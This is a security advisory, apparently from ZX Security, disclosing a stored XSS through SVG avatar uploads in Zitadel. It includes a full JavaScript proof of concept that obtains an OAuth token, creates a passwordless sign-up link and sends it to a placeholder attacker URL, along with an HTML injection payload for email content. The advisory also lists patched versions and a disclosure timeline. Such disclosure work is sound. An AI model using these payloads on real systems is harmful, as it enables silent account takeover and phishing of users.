Vulnerability Discovery
While testing a deployed Zitadel instance, it was discovered that SVG was a supported file type for user avatars. While Zitadel’s primary dashboard routes feature a fairly restrictive Content Security Policy (CSP) it was discovered that the route uploaded assets are served from contains no CSP. Further to this, assets are not served with a content disposition header. This header instructs clients to download the image rather then serving it from within the context of the web application domain.
After conducting further research it was discovered that JavaScript executed from within the context of the web applications domain was able to request a new OAuth key for authentication in subsequent requests. ZX Security combined the ability to request auth tokens along with Zitadel’s support for creating passwordless logins to generate a new passwordless login sign up link on the victims account and exfiltrate the generated URL to a maliciously controlled URL.
The ability to send emails with almost arbitrary content to any email address using the Zitadel platform was also discovered. This functionality would be an ideal way to deliver the stored XSS link to unsuspecting victims using a trusted medium. Zitadel considers email injection to be a known N day vulnerability.
Proof of Concepts
Silent account takeover
The following JavaScript payload can be used to send a “Sign up to passwordless login” link to a user controlled URL allowing for account takeover.
<
?xml version
=
"1.0" standalone
=
"no"?
>
<!
DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
>
<
svg version
=
"1.1" baseProfile
=
"full" xmlns
=
"http://www.w3.org/2000/svg"
>
<
script type
=
"text/javascript"
>
<!--
Set the base Zitadel instance url
-->
var
base_url
=
"http://localhost:8080";
<!--
Set the client id
for
your Zitadel instance
-->
var
oauth_client_id
=
"..."
<!--
The URL that will receive the account takeover link
-->
var
exhil_url
=
"https://.../"
var
code
=
"";
var
access_token
=
"";
function
fetch_oauth_details
() {
var
sent
=
0;
var
xhr
=
new
XMLHttpRequest
();
var
url
=
base_url
+
"/oauth/v2/authorize?response_type=code&client_id="
+
oauth_client_id
+
"&state=T2drNGVZLlphLVhYU2NzUkRLYlpQSktwMlE1SGYtUnVMc0VEdGJYRlRwVXlV%3B61129da7-26c7-4341-95a5-c5c856e4826d&redirect_uri="
+encodeURIComponent
(base_url)
+
"%2Fui%2Fconsole%2Fauth%2Fcallback&scope=openid%20profile%20email&code_challenge=borY93w_wZ0jpywgeFd5bhl-lxmBFRst35FuoVEX-gI&code_challenge_method=S256&nonce=T2drNGVZLlphLVhYU2NzUkRLYlpQSktwMlE1SGYtUnVMc0VEdGJYRlRwVXlV";
xhr.open
("GET", url);
xhr.onreadystatechange =
(e)
=>
{
if
(
!
sent) {
code =
xhr.responseURL.
match
(/=([^&]+)/)[0].
slice
(1);
sent =
1;
generate_oauth_token
();
}
}
xhr.send
();
}
function
generate_oauth_token
() {
var
sent
=
0;
var
xhr2
=
new
XMLHttpRequest
();
xhr2.responseType =
'json';
var
token_url
=
base_url
+
"/oauth/v2/token"
xhr2.open
("POST", token_url);
xhr2.setRequestHeader
("Content-type", "application/x-www-form-urlencoded");
xhr2.onreadystatechange =
(e)
=>
{
if
(
!
sent
&
amp;
&
amp;xhr2.response
!=null
) {
access_token =
xhr2.response.access_token;
sent =
1;
generate_and_send_takeover_link
();
}
}
xhr2.send
("grant_type=authorization_code&code="
+
code
+
"&redirect_uri="
+encodeURIComponent
(base_url)
+
"%2Fui%2Fconsole%2Fauth%2Fcallback&code_verifier=UjZjZFN5SFFSfjk0SllQUmZDT2tqOWRZYUR4M0o4ZnpZV3NIc2hWQ3dBZE9i&client_id="
+
oauth_client_id);
}
function
generate_and_send_takeover_link
() {
const
password_http
=
new
XMLHttpRequest
();
const
url_two
=
base_url
+
'/zitadel.auth.v1.AuthService/AddMyPasswordlessLink';
password_http.open
("POST", url_two);
password_http.setRequestHeader
('Content-type', 'application/grpc-web+proto');
password_http.setRequestHeader
('Authorization', 'Bearer '
+
access_token);
password_http.setRequestHeader
('X-User-Agent', 'grpc-web-javascript/0.1');
password_http.setRequestHeader
('X-Grpc-Web', '1');
password_http.onreadystatechange =
(e)
=>
{
if
(password_http.readyState
===
3) {
var
variable
=
password_http.response;
<!--
Extract the passwordless auth setup link
from
the response
-->
variable =
variable.
match
("https?.*code=.{12}");
variable =
variable[0];
const
outbound_http
=
new
XMLHttpRequest
();
const
url_three
=
exhil_url
+
btoa
(variable);
outbound_http.open
("GET", url_three);
outbound_http.send
();
outbound_http.onreadystatechange =
(e)
=>
{
window.close
()
}
}
}
password_http.send
("\0\0\0\0\0");
}
fetch_oauth_details
();
<
/script>
<
/svg>
This PoC could also be simplified to send the OAuth token to the malicious user rather then a passwordless sign up link.
Email injection
The following payload could be added into the “Family Name” field to remove the trailing email content:
</div></td></td></tbody><tbody style=display:none>
Any content in the first name and content in the family name fields before this HTML would become the only content in the email.
Potential Impact
Complete account takeover.
How To Fix
Update to the latest version of Zitadel.
It has been patched in the following versions:
- 2.28.2
- 2.39.2
Vulnerability Disclosure Timeline
- 12/10/2023 - XSS disclosed to vendor
- 13/10/2023 - Vendor response
- 13/10/2023 - Further disclosed email injection
- 16/10/2023 - Vendor responds citing email injection is an ‘n day’ and requests PoC showing possible impact of XSS
- 19/10/2023 - Silent account takeover PoC sent
- 19/10/2023 - Vendor acknowledges PoC and states they will look into it
- 25/10/2023 - Vendor still assessing the impact of the issue and relevant mitigation
- 26/10/2023 - Vendor fixed, released advisory and issued CVE